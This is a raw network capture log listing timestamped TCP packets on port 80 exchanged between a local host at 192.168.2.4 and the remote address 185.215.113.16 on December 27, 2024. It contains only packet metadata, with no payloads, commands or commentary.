Dec 27, 2024 09:01:12.564734936 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.564785004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.564846039 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.564945936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.567208052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.567332983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.567337036 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.567399025 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.569714069 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.569782019 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.569816113 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.569889069 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.572208881 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.572287083 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.572323084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.572407961 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.574702024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.574752092 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.574815989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.574887037 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.577208042 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.577299118 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.577313900 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.577405930 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.579711914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.579758883 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.579837084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.579876900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.582190037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.582236052 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.582381964 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.582468987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.584671021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.584724903 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.584762096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.584810972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.587162018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.587207079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.587249994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.587335110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.589648962 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.589700937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.589759111 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.589838028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.592159986 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.592220068 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.592262030 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.592262030 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.594599962 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.594657898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.594739914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.594818115 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.597105026 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.597187996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.597235918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.597322941 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.599613905 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.599661112 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.599692106 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.599781036 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.602091074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.602147102 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.602298021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.602339029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.604584932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.604713917 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.604809046 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.604809046 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.607064962 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.607181072 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.607256889 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.607274055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.609559059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.609611034 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.609648943 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.609752893 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.612065077 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.612205029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.612245083 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.612245083 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.614638090 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.614725113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.614734888 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.614886045 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.617067099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.617175102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.617222071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.617290020 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.619535923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.619600058 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.619735003 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.619810104 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.622001886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.622052908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.622065067 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.622235060 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.624526024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.624557972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.624607086 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.624607086 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.627001047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.627053976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.627096891 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.627178907 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.629486084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.629529953 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.629592896 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.629641056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.631956100 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.632033110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.703300953 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.703412056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.703517914 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.704227924 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.704299927 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.704365969 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.704420090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.706099987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.706182957 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.706260920 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.707942009 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.708029032 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.708058119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.708115101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.709821939 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.709953070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.710120916 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.710390091 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.711679935 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.711824894 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.711884975 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.713478088 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.713535070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.713663101 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.713716030 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.715285063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.715384007 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.715471029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.717061996 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.717119932 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.717231035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.717283964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.718844891 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.718909025 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.718943119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.719019890 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.720601082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.720685005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.720738888 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.722296953 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.722361088 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.722421885 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.722486019 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.724073887 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.724123955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.724153996 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.725697041 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.725713968 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.725779057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.725779057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.725996971 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.727404118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.727485895 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.727492094 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.727535963 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.729070902 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.729125023 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.729125977 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.729181051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.730811119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.730865002 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.730911016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.730911016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.730911016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.732378006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.732461929 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.732472897 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.732527018 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.734183073 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.734236002 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.734236956 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.734286070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.735644102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.735702991 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.735749006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.735857964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.737265110 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.737324953 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.737364054 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.737421036 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.738914967 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.738991022 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.739043951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.739258051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.740540028 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.740600109 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.740643024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.740701914 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.742028952 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.742084026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.742113113 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.742199898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.743596077 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.743628979 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.743669987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.743691921 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.745158911 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.745232105 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.745269060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.745374918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.746690989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.746767044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.746819019 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.746861935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.748258114 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.748320103 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.748357058 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.748404026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.749803066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.749856949 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.749885082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.749988079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.750668049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.750705004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.750747919 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.750747919 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.751542091 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.751669884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.751688957 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.751715899 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.752418995 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.752500057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.752537012 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.752595901 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.753304005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.753355980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.753439903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.753617048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.754178047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.754215002 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.754256010 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.754256010 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.755045891 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.755151987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.755153894 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.755218983 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.755913019 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.755991936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.756038904 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.756171942 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.756793022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.756861925 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.756887913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.756942987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.757680893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.757747889 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.757786036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.757858992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.758552074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.758634090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.758671045 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.758735895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.759459972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.759517908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.759556055 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.759612083 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.760334015 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.760412931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.760421991 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.760479927 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.761204004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.761280060 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.761317968 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.761370897 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.762068987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.762128115 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.762172937 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.762259007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.762964010 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.763062000 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.763063908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.763176918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.763825893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.763916969 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.763979912 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.764034986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.764681101 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.764735937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.764842987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.764940023 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.765619993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.765691996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.765714884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.765768051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.766458035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.766509056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.766570091 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.766638994 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.767349005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.767395020 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.767431021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.767498016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.768193960 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.768260002 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.768341064 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.768445969 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.769108057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.769176960 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.769253016 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.769315004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.769954920 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.770064116 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.770068884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.770291090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.770843983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.770911932 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.770947933 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.771020889 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.771630049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.771682978 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.904473066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.904540062 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.904581070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.904581070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.904805899 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.904968977 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.905137062 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.905137062 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.905742884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.905792952 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.905867100 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.905976057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.906673908 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.906719923 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.906747103 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.906857967 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.907459974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.907515049 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.907617092 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.907762051 CET	49789	80	192.168.2.4	185.215.113.16
